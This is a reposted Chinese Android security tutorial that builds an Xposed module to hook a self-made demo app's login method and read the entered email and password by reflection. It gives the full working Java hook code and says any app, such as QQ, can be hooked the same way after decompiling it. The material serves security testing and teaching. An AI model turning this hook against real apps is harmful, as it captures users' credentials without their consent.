Android 安全专项-Xposed 劫持用户名密码实践
Xposed是個強大的工具,可以hook所有的java方法,下面用Xposed來截獲App的用戶名密碼,默認你已經安裝好Xposed環境了
參考文章:http://blog.csdn.net/beyond296089727/article/details/45766297
AS中創建帶有Login界面的項目
然后一路Next,創建成功后,運行,App界面如下:
為了使用Xposed劫持應用的用戶名和密碼,我們需要知道該應用的包名和要hook的方法,我們只要找到點擊SIGN IN OR REGISTER按鈕的點擊事件處理方法,只要hook這個方法,我們就能獲取到輸入框中的信息。
- 包名:xposed.doctorq.com.qq4xposed
- hook的方法:xposed.doctorq.com.qq4xposed.LoginActivity.attemptLogin
在hook的beforeHookedMethod方法中獲取下面兩個屬性的值:
Xposed Module
Xposed Module稱為Xposed插件,利用Xposed進行實際劫持的項目。
我們創建一個不帶界面的Android項目,創建一個類,實現IXposedHookLoadPackage:
public class LoginHook implements IXposedHookLoadPackage{@Overridepublic void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable {if(!loadPackageParam.packageName.equals("xposed.doctorq.com.qq4xposed")) return;findAndHookMethod("xposed.doctorq.com.qq4xposed.LoginActivity", loadPackageParam.classLoader, "attemptLogin", new XC_MethodHook() {@Overrideprotected void beforeHookedMethod(MethodHookParam param) throws Throwable {XposedBridge.log("已經HOOK");Class o = param.thisObject.getClass();XposedBridge.log(o.getName());Field.setAccessible(o.getDeclaredFields(), true);Field fieldEmail = findField(o, "mEmailView");Field fieldPassword = findField(o,"mPasswordView");AutoCompleteTextView autoTextView = (AutoCompleteTextView)fieldEmail.get(param.thisObject);EditText editText = (EditText)fieldPassword.get(param.thisObject);String email = autoTextView.getText().toString();String password = editText.getText().toString();Toast.makeText((Activity)param.thisObject,"郵箱: " + email + ",密碼 : " + password,Toast.LENGTH_LONG).show();}@Overrideprotected void afterHookedMethod(MethodHookParam param) throws Throwable {}});} }將xposed_init文件修改如下:
安裝該應用,在Xposed Installer中勾選,重啟生效,操作之前的App,正常輸入郵箱和密碼:
總結
使用Xposed進行hook的時候,難點不是如何使用Xposed,而是如何找到要被hook的方法,比如你如何hook QQ登錄方法,這就需要反編譯QQ的Apk找到登錄入口,要是學會這一點,隨便一個App你都能Hook。
原文地址: https://testerhome.com/topics/4296
總結
以上是生活随笔為你收集整理的Android 安全专项-Xposed 劫持用户名密码实践的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 聊一聊Android 6.0的运行时权限
- 下一篇: 安卓代码跟踪方式学习笔记